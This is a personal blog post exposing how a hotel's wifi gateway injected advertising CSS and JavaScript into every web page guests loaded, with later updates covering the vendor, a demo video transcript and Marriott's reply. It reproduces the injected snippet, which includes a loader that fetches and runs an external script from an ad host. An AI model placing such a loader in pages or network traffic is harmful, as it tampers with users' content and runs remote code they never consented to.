Hotel Wifi JavaScript Injection

So I’m checking my blog on the hotel wifi, like ya do, and I notice something a little off with the style. There’s a dark colored bar at the top of the page that shouldn’t be there. That’s funny. Maybe a recent Firefox update changed how they treat CSS?

Screenshot of Justinsomnia with weird bar circled in red

I probably wouldn’t have thought much of it, except my blog had recently been hacked (someone had gained elevated access to my web hosting account and prepended every single PHP file with a base64 encoded rootkit), so I immediately decided to view the source. Sure enough I saw some unfamiliar CSS and JavaScript that had been injected after the <head> tag (reformatted here for readability):

<style type="text/css"> #rxgheader { visibility:hidden; color:#111; background:#ffffff; text-align:center; border-bottom:1px solid #666; z-index:10000; position:fixed; width:100%; top:0; } #rxgleftbar { visibility:hidden; color:#111; background:#fff; border-right:1px solid #666; z-index:10000; position:fixed; height:100%; left:0; } #rxgrightbar { visibility:hidden; color:#111; background:#fff; border-left:1px solid #666; z-index:10000; position:fixed; height:100%; right:0; } #rxgfooter { visibility:hidden; color:#111; background:#ffffff; text-align:center; border-top:1px solid #666; z-index:10000; position:fixed; width:100%; bottom:0; } #rxgcontent { } </style> <script language="JavaScript" type="text/javascript"> function checkVisible() { var footer, header, leftbar, rightbar, content; if (document.all) { footer = document.all.rxgfooter; header = document.all.rxgheader; leftbar = document.all.rxgleftbar; rightbar = document.all.rxgrightbar; content = document.all.rxgcontent; } else if (document.getElementById) { footer = document.getElementById('rxgfooter'); header = document.getElementById('rxgheader'); leftbar = document.getElementById('rxgleftbar'); rightbar = document.getElementById('rxgrightbar'); content = document.getElementById('rxgcontent'); } if (footer) { if (footer.offsetWidth > 600) { footer.style.visibility = 'visible'; content.style.paddingBottom = (footer.offsetHeight + 4) + "px"; } } if (header) { if (header.offsetWidth > 600) { header.style.visibility = 'visible'; content.style.paddingTop = (header.offsetHeight + 4) + "px"; } } if (leftbar) { if (leftbar.offsetHeight > 400) { leftbar.style.visibility = 'visible'; content.style.paddingLeft = (leftbar.offsetWidth + 4) + "px"; } } if (rightbar) { if (rightbar.offsetHeight > 400) { rightbar.style.visibility = 'visible'; content.style.paddingRight = (rightbar.offsetWidth + 4) + "px"; } } } </script>

And I found some unfamiliar JavaScript after the <body> tag (also reformatted):

<div id="rxgheader"> <script type='text/javascript'> var advnIsAdProviders = true; var advnIsPersistCookie = false; var mCustomerId = 44; var advnIsHideImmediately = false; var mDelayLoad = 1000; var advnAdRotationDelay = 30000; var jsUrl = 'http://adsmws.cloudapp.net/user/advnads20.js'; function addScript(jsUrl) { var AdvnScript = document.createElement('script'); AdvnScript.setAttribute('src', jsUrl); AdvnScript.setAttribute('type', 'text/javascript'); document.body.appendChild(AdvnScript); } setTimeout('addScript(jsUrl)', 50); </script> <div id = "rxgcontent"> <script language = "JavaScript" type = "text/javascript"> checkVisible(); </script>

For the non-web-developers reading, the most salient bits to note above are the prefix “rxg” in the CSS and the URL http://adsmws.cloudapp.net/user/advnads20.js pointing to a packed external JavaScript file that looked very suspicious. RXG appears to be a common extension used in viruses and malware, but I found very few results in Google having to do with advnads20.js or adsmws.cloudapp.net.

Immediately I ssh ed into my webhost, and did an svn diff on my WordPress core files. No changes. Hmm, maybe someone mucked with my custom theme files (which are not under version control)? Nope, no dice, everything appeared kosher. It occurred to me to wget my blog while I was ssh ed into my webhost’s server in Los Angeles—to see if the changes were also showing up there. Nope. Bingo! I loaded Stephanie’s blog and found the same symptoms in the source—but she’s hosted under my account. So just in case, I loaded Andre’s blog, hosted by TypePad. Same thing. Verdict: somewhere between the internet and my computer, someone is injecting JavaScript into EVERY SINGLE PAGE I LOAD.

I found a utility that unpacks packed JavaScript, and it only took a quick skim of advnads20.js (over 1900 lines reformatted) to estimate that its primary purpose is ad injection/takeover. The good news is, this explains why all the embedded YouTube videos in Google Reader were showing up as empty black squares.

But the question remains, did the hotel’s wifi access point get hacked, or is something more nefarious at work? Is it possible that the hotel’s internet service provider is doing this on purpose? Could it be that the Courtyard Marriott in Times Square is actually aware of and condoning this type of bad behavior?

In any case, who the heck do I report something like this to?

Update: I really wanted to give Marriott the benefit of the doubt, but it turns out I was wrong. There is something more nefarious at work. Thanks to Danny in the comments, I learned that the “rxg” I saw in the injected CSS and JavaScript is short for Revenue eXtraction Gateway, a wireless hotspot gateway product built by RG Nets, Inc., and available for sale from Wlan Mall.

RG Nets RXG-A8

In short, the Courtyard Marriott is using the RXG to inject JavaScript into the HTML of every webpage its hotel customers view for the purpose of injecting ads (and in the meantime, breaking YouTube). Marriott’s wireless internet service provider is a third-party company called Hotel Internet Services, so it is possible, though unlikely, that Marriott doesn’t know what’s going on. But it’s crazy to me that I’m paying $368 a night for a hotel room, and this is how I get treated.

Update: I guess not all press is good press. Ronen Isaac (coincidentally of Wlan Mall) appears to have taken down the Vimeo video (I had previously embedded above) that I thought did such an excellent job describing how the Revenue eXtraction Gateway worked.

Sorry, “RGnets RXG Injection Advertising Demo” was deleted at 10:17:28 Fri Apr 6, 2012. We have no more information about it on our mainframe or elsewhere.

Good thing RG Nets still has the video up on their own site! And thanks to The Verge, there’s now a copy of the video up on YouTube that I can embed for your viewing pleasure:



Demo of RGnets RXG Injection Advertising

Here’s a transcript of the video’s hypnotic, robotic voice-over:

The video demonstrates the HTML payload rewriting feature of the RG Nets Revenue eXtraction Gateway. The web browser that you are looking at is that of an end user that is connected to the internet through an RG Nets Revenue eXtraction Gateway. The end user is running stock IE7 without any special plugins or installations. All rewriting is done on the fly in the RXG. The RXG is configured to rewrite all transit webpages to include a banner advertisement for a BMW S1000RR motorcycle. The S1000RR banner can be positioned at the top, bottom, left, or right side of webpages. In addition, the banner may be rotated with other banners to simultaneously support multiple advertising campaigns. Of course the banners may also be linked to any website desired. As you can see the pervasive nature of the advertising banner on all webpages guarantees banner advertising impressions. The RG Nets RXG HTML payload rewriting feature is a tremendously powerful tool, with a broad spectrum of applications for internet marketing programs.

Update: A thought exercise: imagine the hotel delivered complementary issues of the New York Times to every room, except that in this case, all the ads had been cut out, some of the articles had been accidentally cut out (because they happened to be on the other side of an ad), and on every single page there’s a new ad that’s been stuck on top. How would you react? How do you think the New York Times would react?

Update: Here’s a round-up of people talking about Hotel Wifi JavaScript Injection around the web:

Update, April 9, 2012: I just received the following message from a representative of Marriott:

As soon as we learned of the situation, we launched an investigation into the matter. Preliminary findings revealed that, unbeknownst to the hotel, the Internet service provider (ISP) was utilizing functionality that allowed advertising to be pushed to the end user. The ISP has assured the hotel that this functionality has now been disabled. While this is a common marketing practice with many Internet service providers, Marriott does not condone this practice. At no time was data security ever at risk.”

Though I’d question the assertion that network-level JavaScript injection is a “common marketing practice”, I’m glad they say it has been disabled. I’m currently back in San Francisco, so I have no way to confirm, but I’ll likely be back in NYC staying at the same hotel in a month.

Update: Something has bothered me about Marriott’s official response above. I completely get that Marriott is a large sprawling corporation, and it’s likely that the right hand often does not know what the left hand is doing. I get that. I’ve worked in much smaller organizations where that has been the case. I also get that their response is a typical, old school public relations gloss over the problem—without any satisfying transparency as to how the problem came to be or any meaningful details about how it was ameliorated.

What bugs me about their response is that the device required to do this type of on-the-fly JavaScript injection of HTML is both rare and expensive. It requires specialized hardware (like the RG Nets’ RXG-A8) starting at a cost of $10,000. In other words, this hardware was procured precisely for the purpose of perpetrating this kind of attack. If Courtyard/Marriott/Hotel Internet Services didn’t want that feature, then they probably could have requisitioned cheaper, less specialized, and more robust networking hardware.

Which means that the optimal solution to this snafu wasn’t simply that “we’ve disabled the functionality”—it has to be “we’ve removed/replaced the offensive hardware”. Nothing less is sufficient. Otherwise, what’s to stop someone from accidentally (or otherwise) re-enabling it later?